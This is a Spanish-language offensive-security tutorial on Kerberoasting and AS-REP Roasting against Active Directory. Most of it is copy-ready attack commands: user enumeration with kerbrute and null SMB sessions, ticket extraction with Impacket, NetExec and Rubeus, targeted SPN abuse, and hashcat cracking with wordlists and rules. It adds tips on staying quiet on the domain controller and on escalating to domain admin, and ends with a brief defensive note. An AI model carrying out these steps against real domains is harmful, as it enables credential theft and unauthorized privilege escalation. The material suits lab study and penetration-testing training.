Kerberoasting y AS-REP Roasting: hashes de Active Directory para crackear
Qué hace vulnerable a una cuenta, cómo pedir los tickets con Impacket, NetExec o Rubeus, cómo crackearlos con hashcat y los errores típicos (reloj, etype, nombres de usuario).
Son los dos ataques más rentables al empezar con un Active Directory: no explotan ningún fallo de software, solo cómo funciona Kerberos. Ambos te dan un hash que se crackea sin conexión, sin bloquear cuentas ni hacer ruido en el controlador de dominio.
| AS-REP Roasting | Kerberoasting | |
|---|---|---|
| Qué necesitas | Solo una lista de usuarios | Las credenciales de cualquier usuario del dominio |
| Cuentas vulnerables | Las que tienen "no requerir preautenticación Kerberos" | Las cuentas de usuario con un SPN (cuentas de servicio) |
| Qué obtienes | Parte del AS-REP cifrada con la contraseña del usuario | Un ticket de servicio (TGS) cifrado con la contraseña del servicio |
| hashcat | -m 18200 |
-m 13100 (RC4), -m 19700 (AES256) |
Antes de empezar
Apunta el dominio y el DC en /etc/hosts y sincroniza la hora: Kerberos rechaza peticiones con más de 5 minutos de diferencia.
echo '10.10.10.10 dc01.corp.local corp.local' | sudo tee -a /etc/hosts
sudo ntpdate 10.10.10.10 # o: sudo rdate -n 10.10.10.10
Cuidado
El error KRB_AP_ERR_SKEW (Clock skew too great) significa exactamente eso: la hora. Si no puedes cambiar la del sistema, mira la diferencia con ntpdate -q 10.10.10.10 y lanza cada comando con faketime, por ejemplo faketime -f '+7h' impacket-GetUserSPNs ....
AS-REP Roasting (sin credenciales)
Normalmente, para pedir un TGT tienes que demostrar que conoces la contraseña (la preautenticación). Si una cuenta tiene desactivada esa comprobación (DONT_REQ_PREAUTH), el DC te devuelve una respuesta cifrada con su contraseña a cualquiera que la pida.
1. Consigue nombres de usuario
Sin credenciales, prueba:
# Kerbrute valida usuarios por Kerberos (y avisa si alguno no requiere preautenticación)
kerbrute userenum -d corp.local --dc 10.10.10.10 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
# Sesión nula / invitado por SMB o RPC, si el DC lo permite
nxc smb 10.10.10.10 -u '' -p '' --users
nxc smb 10.10.10.10 -u 'guest' -p '' --rid-brute
Los nombres de la web de la empresa (jsmith, john.smith) también valen: genera variantes con username-anarchy.
2. Pide los AS-REP
impacket-GetNPUsers corp.local/ -usersfile usuarios.txt -no-pass -dc-ip 10.10.10.10 -format hashcat -outputfile asrep.txt
Si ya tienes un usuario, puedes pedir directamente la lista de cuentas vulnerables a LDAP:
impacket-GetNPUsers corp.local/usuario:'Contraseña1' -dc-ip 10.10.10.10 -request -format hashcat
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' --asreproast asrep.txt
3. Crackea
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Kerberoasting (con un usuario cualquiera)
Cualquier usuario del dominio puede pedir un ticket para cualquier servicio. Ese ticket va cifrado con la contraseña de la cuenta que ejecuta el servicio. Si es una cuenta de usuario (no de máquina) con una contraseña puesta a mano, se puede crackear.
# Lista las cuentas con SPN y pide sus tickets
impacket-GetUserSPNs corp.local/usuario:'Contraseña1' -dc-ip 10.10.10.10 -request -outputfile tgs.txt
# Lo mismo con NetExec
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' --kerberoasting tgs.txt
Desde una shell en una máquina Windows del dominio, con Rubeus:
.\Rubeus.exe kerberoast /outfile:tgs.txt
.\Rubeus.exe kerberoast /user:svc_sql /nowrap
Crackea según el tipo de cifrado, que se ve al principio del hash:
hashcat -m 13100 tgs.txt rockyou.txt # $krb5tgs$23$... (RC4)
hashcat -m 19700 tgs.txt rockyou.txt # $krb5tgs$18$... (AES256, mucho más lento)
Truco
Si solo tienes un hash NTLM del usuario y no su contraseña, Impacket acepta -hashes :<NT> en lugar de la contraseña.
Kerberoasting dirigido
Si tienes permisos de escritura sobre otro usuario (GenericWrite, GenericAll, WriteProperty sobre servicePrincipalName), puedes ponerle un SPN, pedir su ticket y quitárselo. BloodHound te enseña esos permisos; targetedKerberoast.py lo hace todo de una vez:
python3 targetedKerberoast.py -d corp.local -u usuario -p 'Contraseña1' --dc-ip 10.10.10.10
Errores típicos
KDC_ERR_C_PRINCIPAL_UNKNOWNen GetNPUsers: ese usuario no existe. Es justo lo que usa Kerbrute para enumerar.KDC_ERR_PREAUTH_REQUIRED: el usuario existe, pero no es vulnerable a AS-REP Roasting.- No sale ningún SPN: las cuentas de máquina (
DC01$) ykrbtgtno cuentan; sus contraseñas son aleatorias y larguísimas. - El hash no crackea con rockyou: prueba reglas (
-r /usr/share/hashcat/rules/best64.rule) y una lista con el nombre de la empresa, la estación y el año (Corp2024!,Otoño2024).
Y después
Con la contraseña nueva, vuelve a enumerar: ¿a qué tiene acceso esa cuenta (SMB, WinRM, MSSQL)? Las cuentas de servicio suelen tener más privilegios de los que deberían, y a menudo son el camino a administrador del dominio. Ejecuta BloodHound con ellas y mira qué rutas se abren.
Nota
Para defenderse: contraseñas largas y aleatorias en las cuentas de servicio (o mejor, gMSA), desactivar RC4 donde se pueda y no marcar nunca "no requerir preautenticación" salvo que sea imprescindible.